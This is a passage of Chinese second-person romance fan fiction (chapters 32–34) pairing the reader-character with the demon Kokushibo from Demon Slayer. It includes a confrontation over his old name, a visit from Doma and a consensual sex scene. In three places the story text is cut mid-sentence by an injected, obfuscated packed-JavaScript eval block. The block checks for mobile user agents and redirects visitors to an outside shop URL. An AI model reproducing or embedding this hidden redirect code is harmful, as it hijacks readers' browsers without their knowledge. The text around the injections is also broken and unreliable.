你的目光停在一个披肩发造型的模特图上:“我要剪这个。” 黑死牟微微颔首,表情纹丝不动。他竟然不是外表看起来的那种老古板,你很惊讶,忍不住观察了一下他的发型,非常朴实无华高马尾,也不知道怎么扎的。 想象一下他每天对着镜子梳马尾的样子,你忍俊不禁笑出了声。 黑死牟用眼神表达疑问,你赶紧低头藏住压不下的嘴角。 进城的路上,你看着琳琅满目的招牌疯狂碎碎念:“真就一点儿人类的食物都不能吃了吗?” “一点点的话,还是可以的。”* “好耶!”你立刻到旁边的店里买了一支冰激凌。 “等一下。”他话音未落,你已迫不及待张嘴咬了一口。 “还好吗?” “帮、帮我看看,哪里,哪里有垃——圾——桶,呕……” 接下来的路你目不斜视,直奔目的地。等坐在理发店的椅子上,三令五申要剪到锁骨的位置。 店员反复确认后,犹犹豫豫地看看手里一把厚实的长发,再看看身后的黑死牟,操起剪刀利落地剪好了。 你神清气爽,暂时把路上的那点不快忘了。回去时顺手买了一只玳瑁发夹,百合花形状的,夹在脑后,把头发理成半扎发,觉得世界都明亮了。 就是有点可惜那剪下来的一大把长发,本来以为能卖个好价钱,谁料黑死牟说鬼的头发也会在阳光照射后消失,坑人的事你做不来,只好忍痛放弃了。 走着走着,路过街边的一家书店,你走不动道了。 黑死牟帮你推开了玻璃门。 这是一家装潢很华丽的书店,一看就是走高端路线的,实木的满墙书柜散发出不差钱的光芒,架上的书花花绿绿,大都是进口来的原装书。你很高兴地看到其中还有熟悉的某侦探小说 擦擦手,你取下一本翻开来看,全部看得懂。英语水平居然没有下降,真是可喜可贺。你受到了鼓励,沿着一排排书看下去,转眼挑出一大摞,无意间瞟了一眼价格差点儿昏过去。 忘记这不是二十一世纪的中国了,书籍尚属富人的享受,你一个头发都剪不起的穷光蛋哪有这福气。 可是……你眼巴巴地看向黑死牟。 他把这一大摞书接了过来。你开心了,笑嘻嘻地继续看,后面的书架摆着各种工具书,你挑选半天找到一本日英辞典,这个肯定用得到,买一本吧。 你弯下腰看标签,十一元。使劲眨眨眼,再看,还是十一元。 天、天呐……对面的饭店半打酒都不到一块钱,吃饭超不过五毛钱,你刚理的头才一毛钱,十一元,这得是一般人家几个月的收入都不止了吧,抢钱啊! 看你半天不动,黑死牟过来把辞典加到原先的那摞书上。 “就这些了吗?” 你机械地点点头,看着他去付账。吸血鬼都挺有钱的吧?应该是。 收银台,店员尽职尽责地给书打包。你好奇地书店里转一圈,踅到门口,好奇地看几眼他们包装的手法,又去看摆在橱窗里的是哪些书,掂掂精装书的分量,暗自咂舌。就这么一步一步对着黑死牟,倒退到门边上,后背贴主门把手。 这一带来闲逛的人真不少,繁华的西洋铺子一家连着一家,城里的人都爱来这里买东西,就是附近几家镇上的人也会想来这里开开眼界吧。你观察街上来来往往的行人,心中猜测着。 这个位置很好,进可以抓起趁手的书砸人,退还能冲出去躲在人群中逃之夭夭,后悔了就不用动,等他走过来就能一起出去。 可你不会后悔。你咽下一口唾沫,看向收银台前的黑死牟。 “岩胜。”你轻轻叫道。 32.第 32 章 没来由地,你觉得他全身都僵硬了。 无视掉一切的阻隔,你仿佛能直接看到他覆盖在紫衣乌袴下的肌肉,因情绪变化迅速地唤醒,坚实地鼓胀起来。这也是鬼的能力吗? 来不及感到害怕,他接过店员捆扎好的一大摞书,没有理会那人邮寄的提议,单手拎着视重量如无物,大踏步朝你走过来走过来,牵起你的手推门而出。门合住,他倒换一下左右手,带着书和你继续前行。 他没用多大力气,你没感到疼,但这绝对是你无法挣脱的桎梏,所以完全没有想着这么做。 他越走越快,街上的行人也渐渐变少,你从间或划过的一两张惊讶的脸中,他的速度已经超出了常理。 风呼呼地刮过,你大喊:“你在生气,还是愤怒?为什么,我说的不对吗?” 他胳膊往回一揽,把你夹到腋下,凌空跳到一棵树上。随后,他越过所有的障碍,车辆、桥梁、房顶……沿直线飞速向目的地进发。 你艰难地抽出手往上,揪住他的耳朵怒吼:“你要把你的感受说出来,我才能知道!” 你清楚他一定是听到了,他的能力比你强太多,五感只会更加灵敏。因此,他别想装死。 你扯着脖子继续喊:“你是岩胜,对吧?如果不是,就给我放手!放手!” 他总算停下来,在一片荒郊野岭中,缓慢地松开手臂。你哆嗦着嘴唇,说不出话,脚一挨地就软下去。其实你恐高只到怕过山车那个程度,但这比坐过山车刺激多了。 他搀扶着你,竟一起软下去。你们两个拉拉扯扯,你狼狈地跌坐在地上,他也差点摔倒。 “你是岩胜,我就知道,我一直都觉得,你就该叫岩胜才对……” 那个奇怪的一直在你心里头盘桓的名字,“黑死牟”三个字读出来别扭的感觉,自从苏醒后始终挥之不去的怅然若失,等等等等,现在看来都有了理由。 但是,为什么? 他手搭在你的肩膀,力度时而轻时而重,像是拿不定主意要扶你起来还是摁住不动。 “你怎么……”这么大胆,这么不知所谓? 他要斥责你,但最终没有说出口。 你感到眼眶有些湿,瞪大眼睛让风吹干它们。 “那你呢?你就这么看着我瞎猜瞎想,寝食难安吗,这有什么不能告诉我的?”你气势不减,直接吼回去。 他这人怎么这样,心思比你还百转千回吗?特别是看到他已冷静下来,恢复了彬彬有礼的姿态,你的火气蹭蹭蹭就冒了上来。 “那个名字已经不用了,”他看向你身后的某个点,语气因为强压下来带出涩滞的感觉,“以后不要这么叫我了。” “走了,先回去。”他艰难地抛出这一句,起身要走,你张牙舞爪地扑上去拖住他的腿。 “我不!” 他无奈:“不想走就不走,我不是要逼你。” 你毫无形象地顺腿爬上去,胳膊从后面搂住他的脖子,上半身一挺贴紧他的背,小腿使劲地盘住, 可是还不够,你再把头埋进他的肩窝,深呼吸。 即使做到这种程度,肌肤依旧没有产生排斥的寒栗,只有四肢脱力的虚弱。 有时,身体的反应胜过一切,远比脑中的记忆更牢靠、直接且到来得迅速。你曾经一定无比适应他的肢体接触。 灵魂与皮囊究竟是在缓慢地融合,还是原本就是一体? 你并不怀疑眼前的真实,巧合太多就不是巧合了。 “你没有逼我,你只是逃避。”你摇摇欲坠,快要攀不住,身体不断下滑,“你还没有回答我的问题,这是怎么回事啊!” 他喘着粗气勒住你的腰,把你抱前来。 “为什么换掉名字,为什么我想不起来,发生了什么,你能告诉我吗?” 他的胸腔剧烈地起伏。 “我可以不说吗。”良久,他垂下头,下半张脸被你的衣领挡住,发出闷闷的声响。 “那,最后一个问题。”你双手抵住他的胸膛用力地推,拉开你们的距离,那一刻,你感到奇异的眩晕,一时不知该盯住他的哪一对眼睛。 “我们是因为相爱才在一起的吗?” 对于爱情,你向来自认为是悲观的乐观主义者:从存在的角度,承认它的真实性和意义价值,但从自身的体验出发,不相信爱情是可以轻易落到自己头上的东西。 风又刮了起来,旷野中听不到第二种声音。 你开始觉得冷,即使是这样亲密相拥的姿势,也挡不住冷意从心底泛起,顺着骨头缝漏出来,冷得你浑身哆嗦。 “我想,我选择和你结婚了的话,那我一定是爱你的……” 上辈子活了二十多年,直到死的那天,你都是母胎单身。并非刻意地选择,不是排斥恋爱,或信奉独身主义,你埋头忙着自己喜欢的事,恋情就自然而然地消失在视野中。 你和“谈恋爱”“对象”“男朋友”这种词汇最近的时刻,是深夜学校图书馆关了门,你拖着疲惫的身躯回到宿舍躺在床上,听到同样累了整天舍友们拉上床帘抱起手机一秒回血,振奋起精神,或是甜蜜或是抱怨地向屏幕里的人倾诉。 她们孜孜不倦地分出一天中的华彩要把它装饰进另一个人的心灵,因他不同的反应回馈出欢笑、泪水、争吵,情感自有它的周期,从腻歪、习惯到漠然周而复始,热情永不消退。这令你感到惊奇。 你无心留意承载这些情感的人是何等模样,只觉得这样的舍友们非常非常可爱。她们付出打心底相信的东西,爱给予无穷的精神能量,让她们经过的地方都满粉色泡泡的欢馨,谁辜负了这样的虔信,谁要吞一千根针。 你真心感到她们的美好正是你美好学生时代的组成之一,却想象不出自己也融入其中的情形。 有一个男朋友,意味着打开生活装进另一个人,吃饭、外出、做功课都要规划好他的位置,直白地说,就是为他的日程让步。光是想到这一点,你就望而却步。 因为,好麻烦啊。 你光是看着舍友反复地打字、发语音、通话,和对面的人沟通、确认安排,早起带饭帮叫外卖,穿过大半个校园,选择去他那边的自习室而不是更近的图书馆,化妆、挑衣服出去玩,翻几个小时网购页面选礼物,计划出游还有节日惊喜之类的各种行为,就感到巨大的精力流失出去了。 你每天的日常是多年来规律作息形成的稳固系统,精密到插不进多少多余的东西。你几乎是白手起家,一砖一瓦构筑出这个与精神、与现实都可契合的宁静空间。为了这片空间,你付出的远不止十年寒窗的苦读,还有很多血肉里掏出来的部分,这点你永远不会向任何人诉说。 你是如此珍视自己的空间,为外来之人做出的调整,哪怕只有一点也是巨大的破坏,不能够容忍。 唯独爱情、爱情…… 你对爱情全部的理解和想象都来源于书本。你就是现当代文学所讽刺的那种人:总是先看见海的图画,后看见海;先读到爱情小说,后知道爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110925|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ;对于生活的体验往往是第二轮。* 这也不准确,你知道的爱也是别人的,属于“第三轮”。 说到底,爱是什么呢?故事里的爱越崇高,他人营造出的氛围越美,你反而越不能靠近它。 中学的时候,有一天上晚自习,老师不在,安静的教室突然炸开了锅,同学们一哄而上离开座位,蜂拥到窗户边,几个平素就大胆的男生吹起了口哨,只有你留在原地一脸茫然,不知道发生了什么。 “看窗户,快看外边!”有人招呼着,你迟钝地转身,看到夜间本该无人的操场,空旷的绿茵地在大功率泛光灯的折射下浮出一层虚假的灰白,两个学生相拥在那灯光下接吻,旁边你所在的教学楼里,认识或不认识的人摩肩接踵,持续地发出怪叫和掌声。 你大脑一片空白,未几,强烈的羞耻袭卷全身。你隔空为两个无关的人尴尬到无地自容,那种体会至今仍然鲜明。 这是因为,你第一时间就反应过来,他们的姿势动作还有选择的场所都是模仿当时爆红的偶像剧。看出的人不少,他们兴奋地交头接耳,嘴巴一开一合:“你有没有看过……” 你持续地震撼,整晚都没有走出来。 爱情的体验、好奇的模仿、青春的追捧、荷尔蒙的碰撞,真真假假、假假真真,是可以完全混在一起的,入戏的人们心未必不诚,可他们清楚自己在做什么吗? 这个问题,也是你现在都没有想明白的。 有了这段经历,你在大学的楼梯间、小树林、教室后排再看到旁若无人的小情侣,都心如止水。 释义再简单明确的词汇,也会在进入真实的人心后变得晦暗不明。很多时候,追逐着爱的人却看不到爱本身,而是许许多多附加的东西。 你对这些东西束手无策。 但是,“我想,我选择和你结婚了的话,那我一定是爱你的”。 这是真话。 你呆呆地坐在屋里,完全忘记了郊外回到家中这一段路上的记忆,仿佛大脑自动清除了它。 黑死牟把你送进门就走了,他去了哪里?是不愿再见你,还是没想好要怎么面对? 大脑飞速地转动,却转不出任何结果。敲一敲那里,没准儿能听到空荡荡的回声。 你想苦中作乐,可笑不出来一点。反反复复回想起他掩好门,留下的最后一句话。 “对不起。”他说。 为什么……要和我说对不起?他没给你提出疑问的机会,下一秒,消失在门后。 你心里空了一块,什么感受和想法都进不去,只有纯粹的虚无。 哒哒哒,是谁在靠近,听起来不像是黑死牟。 你迟疑片刻,来到屋外想看看是谁。还不到打扫的时候吧,是邻居吗? 敲门声响了三下,来人就发出不耐烦的气音,伸手推门。你几乎能想象出他撇着嘴的样子,小步快走下了台阶。 “请问您是……”你的手还没挨着门,它就打开了。 “听说小姐您醒过来了,特意前来探望,黑死牟阁下不在吗?”他带着夸张的笑容向你鞠躬,白橡色的发丝垂下,头顶是大片令人不安的红色。 你下意识地后撤半步,他上半身倾斜过来,手自来熟地搭上你的手臂。 “对了,我是不是忘了打招呼?啊,抱歉抱歉。小姐你好,我是童磨。这么久没见了,您还是一样美味。”他直起身笑道。 你的后背像过电一样发麻,寒毛立起,贴身的一层衣物瞬间就湿了。 33.第 33 章 “不好意思,我没有听清楚,”你说,“请问您是……” 他眨了一下彩虹色的眼睛,潮得你风湿病都要犯了。 “我是童磨。” “好的,童磨先生。”你摆出送客的姿势,“可以请您晚些时候再来吗?” “啊,黑死牟家是这个样子啊,真是完全符合我的想象呢。”他翘起腿坐在你的坐垫上,舒舒服服地靠着你手缝的抱枕。 “就是这几个垫子不太符合。”他又点评道。 你眉心突突地跳了两下。怎么会有这样的人,不,这样的鬼! 虽然你之前只见过黑死牟这一个鬼,但这家伙的身份不需要多解释,谁都能看出来吧。 “请您站起来。”你想气势十足地把这几个字砸他脑袋上,可话一出口马上变得和你这个人一样绵软无力,可恶! 你知道,从他出现的那刻起,你就在紧张。手心渗出汗水,肌肉绷紧,肩膀无意识地抬高…… 你一直社恐内向,但面对他,更多是戒备的感觉,这可太糟糕了,比单纯的社交压力糟糕一百倍。戒备意味着隐藏的危险预警,也意味着你并无招架之力。 希望是错觉,都是因为他没有边界感了,这样无视别人的话直接闯到家里来,可以说非常无礼了吧? 愤怒和妥协依次切换,你在蓄力和泄气的反复徘徊中耗光了勇敢,清清嗓子,怯懦道:“那是我的东西。” “啊,”他一副恍然大悟的表情,开心地跳下来,“原来是这样!那小姐您请坐吧。” 我是这个意思吗?你词穷了,眼睁睁地看着他在旁边的榻榻米上重新坐下,盘起两条长腿,手托着下巴,笑眯眯地看着你。那身条纹阔腿裤和红色紧身衣,和复古的室内装潢形成鲜明对比,简直是把“不速之客”四个字写脸上了。 你只好转变策略:“不知您和黑死牟……” “欸,他没有说吗?好无情,那就让我来告诉你吧。”童磨插话的可跟他那可怜巴巴的表情不是一回事。 “我们是非常要好的朋友,也是一起为那位大人效力的同僚。”他兴致勃勃道,“小姐想听我们相识的故事吗?” 怎么可能。你肯定是用眼神表达出这个意思了,他反手甩开扇子遮住半张脸,乐得眼睛都眯了起来。 “那我就说说我和你相识的故事吧,我记得,那是明治……” 嗞啦,一道裂纹出现在鼻根,飞快地蔓延到额头,童磨的声音戛然而止。 你吓坏了,尖叫已冲到了嘴边,不料下一秒就给人摁了回去。 黑死牟出现在你身后,单手揽住你的肩,额前微卷的鬓发一丝不乱,好像他一直就在那里没有离开过。 “对不起,”他把另只手拿的一大摞东西放下来,“忘记你的书了。” 你拆开包装纸,仔细检查后,一本一本把书摆在卧室的架子上。外面一层牛皮纸上沾了一层泥,应该是你们摔地上时弄上去的,还好书店的人包得很仔细,里面的书一点事也没有。 最后你把辞典举起来,好沉的一大本,也要放架子上去。 黑死牟从你手中拿过来,插进搁板末端最后的空隙,严丝合缝,刚刚好。 一时间,你们都一动不动,没有说话。 “我不知道你想要的爱是什么,”他低沉的嗓音从身后传来,胸腔的起伏、震动缓缓传导到你全身,“但是,我对你负有很深责任,一定会完成。我会一直在这里,照顾你的生活,满足你的愿望,如果你能因此开心幸福的话,我也会感到荣幸的。” 他扳动你的肩膀,将你慢慢转过来,正对着他。 “今天随随便便有人闯进来这种事,我保证不会有下次了。” 你抬头对上他金色的眼睛,那里眼白的部分发出赫赤色的光芒,像是一团火焰,在黑暗中散发着不怒自威的庄重气势。 仅仅是责任感,就能做到如此地步吗?你永远也搞不懂这种人。 “我从来没有谈过恋爱,交往过男朋友,也没有喜欢过谁,至少在记忆里没有过,”你低下头认真地剖析自己,“说真的,我也很难想象自己会结婚,有一个丈夫。” 上辈子,为论文的事焦头烂额的时候,妈妈半开玩笑地说过:“这些年书读得够多了,毕业后,怎么也该找个对象了吧?” 你清楚,她这种语气类似于最后通牒前的过渡,是先礼后兵的礼,不能因为语调的戏谑低估了她的认真。 校园是你抵抗主流叙述的最后一座堡垒,不管七大姑八大姨们怎么说,“孩子还在读书”说出来总归是能挡一挡的。但这座堡垒庇护不了谁一辈子,外界的喧嚣一直回荡在那周围。 已步入社会的同学在手机上调侃相亲的经过,你打字捧哏,大家笑一笑过去,焦虑却一点点累积。你无所谓单身、恋爱或结婚,但你害怕有一天被迫成家,被迫和陌生人生活在一起。如果有一天要落得如此地步,你不知道人生还会有什么乐趣。 你恐惧身为人的意义塌缩成婚恋市场上一个个条件,随便谁都能过来头头是道地点评。即使爱情如此飘渺,听起来完全是传说中的事物,你也希望和未来的伴侣是因为感情而不是别的什么走在一起。倘若没有,那就不结婚,这没什么大不了。 这些话,还没向任何人诉说,穿越打破了一切。谁能想到睁开眼,寡王一路硕博的你已经超额完成了妈妈的任务,直接变成已婚人士,这简直是命运恶意的玩笑。 “所以,能告诉我发生过什么吗?” 你不相信自己会草率地踏入婚姻,但这不能说明什么,当下重于每个时刻。 “为什么和我结婚,为什么仍然把我当作妻子?不能够理解这些疑问的话,就不要再说责任、照顾、幸福这种话了。你不懂得它们的含义,我也不需要你这么做。” 你看到他的嘴唇绷紧成一条直线,两侧脸颊的肌肉缓慢地鼓起,看着硬邦邦的。你有抚摸那里的冲动,但克制住了,扬起下巴,勇敢地直视他。你又有点抖,不过这感觉并不坏。 “妻子就是妻子。”最终他道,“对我来说是这样。” 你很失望,但他捏住下巴不许你扭过头去。 “责任就是一切。” 怎么会看上那种老古董,收回那句他不古板的话,收回!你气得咬住袖口,火没处发。他已恢复悠闲的状态,在棋盘前摆弄棋子。 有句话怎么说来着?一个人在你面前永远从容不迫,说明他在向下兼容你。 意识到自己被摆在了低一层的位置,你的火气突突地往外冒,根本压不下来。 “我才不会看上你,这个婚是包办的吧!”你朝他放狠话,他的背影岿然不动,你更气了。 “我要离婚,和你离婚!” 他放下棋子站起转过身,你立马怂了。 “我开玩笑的,”你小声说,“我就是想听你说说以前的事。” 他拉着你坐下来:“想要听什么?” 一室摇曳的烛光散发着暖黄的光晕,实木家具和草编的榻榻米也反射柔和的光芒,营造出温馨的二人空间。 你身心放松,并腿放在一旁,头靠着他的肩,慢慢伏在膝盖上,听他简短的简述。 黑死牟说话总是字斟句酌,语速放得很慢,但因为用词讲究精练,不会让人产生不耐烦的感觉。 全部听完似乎也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115796|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花太久,你像是听了一篇别人的流水账,谈不上什么感悟。 “感觉挺普通的。”你对他说。 真的是很普通小时候在宴会上初次见面,后来有事到他家暂住了几天,一起玩、通信什么的,到年龄觉得很合适就结婚了。没有轰轰烈烈的相遇,天崩地裂的波折,戏剧性的拉扯,普通得和舍友们床帘后的夜谈一样,可以摸到类似布偶、夜灯、贴纸的触感。 正是因为他讲述的内容如此寻常,你心无挂碍地接受了它们的真实性。 “但是,这才是最不可思议的啊,”你感慨道,“居然就这么发生了。” 爱情居然就这么发生在了你的身上。 你调整一下姿势,仰躺过来看着他低垂的眼睛。 “曾经,我是说在我还比较小的时候……” 你被课业填满,称不上无忧无虑的少女时代,爱情的幻想在所有的白日梦中也是最梦幻的部分。你意料不到竟有一天,会毫无羞耻地说给另一个人听。 和所有读书长大的人一样,你有个改不了的毛病,就是迷信文学的语言。你崇拜、神化爱情,用小说、电影那儿得来的崇高体悟构筑自己理想的范式,相信它和跌宕的传奇、壮烈的牺牲是同一回事,不属于面目模糊的普通人。 “因此,我想过,”说到这里你忍不住笑了一下,他抬手抚摸你散开的头发,“要是哪天,我经受住了死亡的考验,拒绝了最有力的诱惑,或者拯救过谁的生命,或者建立其他伟业,要做到这种程度,那就会有人爱我了。” 说完,你笑出了声,真的是没有过爱情才会有的幻想啊。事实上,它的到来如此简单,仅仅因为你在做客时偷偷溜了出去,放风筝不小心撞树上,普通的问候信件都能长到写满几页纸,陪他把神社的签文系在架子等等无聊的理由。 不需要艰苦卓绝的过程,不需要你多么伟大,甚至不需要很特别,有人会在你并不留心的时刻就产生爱意,不需要理由。 但这是怎么发生的呢?你已经遗忘。“坠入爱河”说得真贴切,这听起来简直就是一脚踏空,你几乎开始感到恐慌了。就像个穷光蛋一夜醒来看到账户数不清的零,比起惊喜,惊吓才对。 你撑起身子,膝盖压上他的大腿,双手环搂住他的脖子,整个投入黑死牟的怀抱。可还是不够,恐慌在越来越强烈,如同心里的洞越漏越大,你要堵不上它了。 “黑死牟。”你叫着,用力抱得更紧,依旧不行。 “黑死牟。”又叫了一声,他倾身覆过来,把你揉进胸膛,宽阔的肩膀形成绝佳的庇护,将你完完全全地包裹进去。 你在最安心的避难所里感到塌陷的危险,像在梦里下坠,于无垠的虚无中触不到底。 “黑死牟。”你惊慌地叫着。 他已不知如何是好,将你搂得更紧,不住地说“我在”。 你矛盾极了,自己不知道究竟在向他求索什么,但你清楚自己不满足,你真正的需要被抛弃在遗忘的岁月里,徒留己身如此彷徨。 “黑死牟。”你再也不能克制冒起来的坏心眼儿,张口咬住他的锁骨,咬牙切齿地使劲,啃噬出咯吱咯吱的声音。 他眉头都不皱一下,不吭声,把头埋得更深。 他是这样的高大、强健,拥你入怀,只有你消失其中,而不能反过来将他包围。为什么你要这么娇小? 这个事实令你愤怒起来,怒火熊熊燃烧冲昏头脑,小腿也移上来,全身的重量都压在他身上,摇晃着要压垮他。 黑死牟不明所以,误以为这个姿势弄得你不舒服了,一手向下托住你的腿弯。 你觉得自己非常非常坏,因此哭了。 34.第 34 章 好糟糕,今日之前你不会想到爱情也会使人丑陋,书本里的那些美丽故事不是这么说的。 对了,它们其实没有告诉你爱情是怎么回事,它们只展示爱情的结果。最高明的作家也不能写出一个女人同一个男人对视瞬间发生的玄妙变化,只好苍白地描绘他们言不由衷的对话、移开又握住的双手。 你知道心中有多少翻腾的感受,会在转换成语言的一刻化为薪火烧尽的余灰,所以你不开口,仍是使劲地撕咬。 血浸透了衣襟,你任其流淌,沾湿两人的衣裳,愤怒、不甘和慌张都成为暴戾的燃料,拳头一下一下砸到他身上。 你恨他如此无动于衷,依旧举重若轻,却不明白为什么。 终于,他屈服,放软腰身顺从你下压的力道仰躺在地上,宽大的手掌陷入你湿漉漉的脸。 “对不起,”他说。你好像没有听到,半阖着眼,头疲惫地耷拉着。 他扶着你的脖子,慢慢拉近。 “是我做的不好。” 黑死牟想,这回是他错了,他不该许诺下名分,却不给予对等的地位,失衡的关系不会长久,你的不安和无措都是应该的,这不是冒犯,他应该有所回应。 你睁大了眼睛。 等等,这是、不是…… 血腥味在舌尖蔓延,没有咽下的血液缓缓滑入食道。 全部的情绪都清空了,反应也做不出来,你被动接受他的贴近和深入,双目渐渐失焦。 黑死牟笨拙地抿嘴,含住唇瓣轻轻吮吸,他有数百年不曾这么做了,但靠近时,过往的回忆全部激活。 他记得,你说过的,做之前要亲一下比较好…… 在他突如其来的动作下,你的脑子乱成了一团浆糊。怎么到这一步的呢?想不起来了,你已完全被黑死牟身上惊人的变化骇住了。 这不是,咳咳,那什么吗…… 骗人的,你们吸血鬼不都是柏拉图、纯爱的吗? 你后知后觉,落入到他的掌心,呼吸和节奏都被夺去,未干的泪水重新溢出眼角。他低头说了什么,拇指小心地擦去了。 你不受控制地缩紧,然后在他温和的指引下舒展,腰带不知在何时散开,平裁的和服禁不住那样的探索,顺着肌肤滑落。 最外层的长羽织,然后是浅色小袖、里层的长襦袢、贴身的肌襦袢……你跌倒在凌乱的布料中,它们堆叠着遮掩住下面那双手带来的温度。 可恶,以后有机会一定要穿洋装啊! 人居然可以承受这种程度的贴近,可以到这种地步,简直不可思议。你像只自欺欺人的鸵鸟,在最后的阻挡也撤去时,伸手捂住了眼睛。 好奇怪,虽然不能像他一样自然地引导、接纳,而后沉入到这个过程中,但你并不厌恶这种接触,仅仅是感受他的认真,你就如同醉酒般飘飘然,想不到其他了。 可是……你紧绷起来,盖在脸上的手指都蜷起。 “我、我怕生孩子。”你喘着气说,恐惧沿着脊柱爬上来,身体跟着颤抖。 原本以为鬼的构造肯定和人不同,无需繁衍的话,用不上的器官多半退化掉了,可是亲身经历才知道错得离谱!那这样的话,会不会鬼也是可以怀孕生产的?千万不要啊! 黑死牟僵住了。 “不会的,不会的。”他马上回过神来,俯下身在你耳边道。 他像哄小孩一样,轻拍着你的背。嘴里说着安慰你的话,却像是在安慰他的自己。 “不会发生那种事。” 你深呼吸试着放松——好痛! 真的好痛。那些绮丽的遐思全散了,你痛得弓起了身子,眼泪有卷土重来的趋势。 你们之间的体型差现在看来很要命了,你艰难地想要稳住身体,可根本做不到,他估计也不好找着力点,额头渗出汗水,顺着脸颊滑入颈窝,润湿了红色的斑纹,反射出艳丽的光。 然而,你不感到难受,这种痛是可以接受的,不像是可怕的侵袭,而是你们共同袒露最脆弱的部分完成温柔的接纳。 因紧张蜷起的身躯一寸寸软下去,滑落双手自然地绕上他的脖子,配合他的动作。蜿蜒的红色纹路像活过来一样在眼前起伏,你无师自通,探出舌尖一点点往下舔…… 糟糕,你的脑子一定是坏掉了,不然,怎么会浮现出一群火柴人在跳舞? 帘幕低垂的房间里看不出昼夜交替,不过,昼夜交替对鬼来说只有一个含义,他们要在天亮前找到安全的庇护所躲起来避免被晒到。只是你依旧习惯靠太阳的东升西落划分时间,一天是你认知中重要的计量单位,一直待在这样的屋里,你的感知都变钝了。 过去多久了,做了有多久了?你迷迷糊糊,提不起劲去思考,应该很久了吧,虽然没什么经验,不清楚一般人是什么情况,但这个持续时间绝对远远超过正常范畴了!这就是鬼吗? 大脑已经彻底混沌,所有感知都混在一起。但你感到无比放松,一切都可以安心地交付,就如同以前的每一次那样。 黑死牟没有骗你,你真的是他的妻子,一直都是。 可这样一来,那个他声明已弃置不用的名字饱胀地充盈在你的胸间,随着你逐渐放缓的喘息呼之欲出。 岩胜、岩胜、岩胜…… 你想要这么呼唤,但忍住了,靠着他的臂膀平复下来,拨开汗湿的头发,耐心等待激荡的情绪从身体里退潮。 黑死牟也帮忙把你散在肩头的发丝撩起来别到耳后,但这样一来,他自己的长发也扫到了你身上。 你觉得痒,忍不住要笑,那些抖落的头发纠缠得更紧,红的、黑的分不开。你们不得不想办法理顺。你发质偏细偏软,他的却很硬,发尾卷起来,在灯光下闪着丝缎般泛红的光。你把它们绕到手指上再松开,看那丝丝缕缕的红一圈圈滑落,散成一段流水。 黑死牟也来帮忙,但明显你们都越帮越忙,太长的头发就这一点不好。你们不知道不小心扯掉了多少根,才长舒一口气,躺回到各自的枕上。 他静悄悄地躺平,又觉得不够,还是侧过身来看着你。你已忘掉方才孜孜以求的问题,意态昏昏,拥着被子伸出手拨弄头发,徒留他一人被逗引出的更深的念想折磨。 不过,他不准备付诸实践,事情发生得太突然,已超出原本的预期。而且,他也担心你会承受不了。 黑死牟放缓了呼吸,尝试着从自己无法遏制的思维发散里抽身,让注意力仅停留在你笑颜上。 你把玩着他的头发。双手握住满满一大捧,想要编小辫子玩,又有点不敢下手。 黑死牟那么严肃正经的人,要是顶一头辫子,那样子……你缩着肩膀偷笑起来。 “知道吗,”你理着他的头发慢慢地说,“学界有一种假说,叫‘梳理终吻’。在人类还是猴子的时候,他们通过梳毛来建立关系,梳完就亲一下表示结束。现在的人不那么做了,但仍然保留了这个收尾的动作。”* 你亲一下他的发梢,再凑过去亲亲鬓角:“你喜欢吗?” “所以,”他说,“这就是那个时候你在笑的原因吗?” 嗯?这是什么意思?你奇怪地抬头,他正定定地看着你。 欸,这是……你眨一下眼睛,也看着他。慢慢地,你脸红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119009|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。酡红从发际向下晕染,直到染透整个脖子。 你双臂交叉抱在胸前,声音低得像蚊子叫:“我们明天再……” 他忘记了,你已经是鬼了,这些不算什么。 “已经是‘明天’了。” 洗净身体换上干衣服后,你根据投递在门口的报纸推测过去了几日。连日来天色一样的昏暗,你合眼又睁开几次都是如此,简直要怀疑时间已经不存在了。 你哗啦啦地翻阅着,跳过广告、新闻,快速浏览完边角里的豆腐块文章,就叠好不看了。你收拾出来收纳书刊的地方就在付书院下面的隔层,你跪坐在榻榻米上弯腰把报纸塞进去,刚好看到敞开的推拉门后,黑死牟下垂的紫色衣摆。 手抖了一下,你赶紧站起来走开了。你勒令他不许出现在距离你半径不足三米的地方,但如果他不想遵守,你也毫无办法。 听到门后发出的动静,黑死牟拈着棋子回头张望,只来得及看到落荒而逃的背影。他知道你其实躲到了袄障子下方的板壁后面,不徐不疾地落子自娱自乐。 你腿都蹲麻了,觉得他不会再看着了,才慢慢爬出来。好险啊。 有赖于鬼强大的恢复能力,黑死牟施加在你身上的种种已不见踪迹,但行动之间,身体内总是带出微妙的感觉,让你瞬间回溯到那个混乱的夜晚。 太、太羞耻了! 脸上的热度又有上升的趋势,你连忙捂住脸深呼吸。不许再想了! 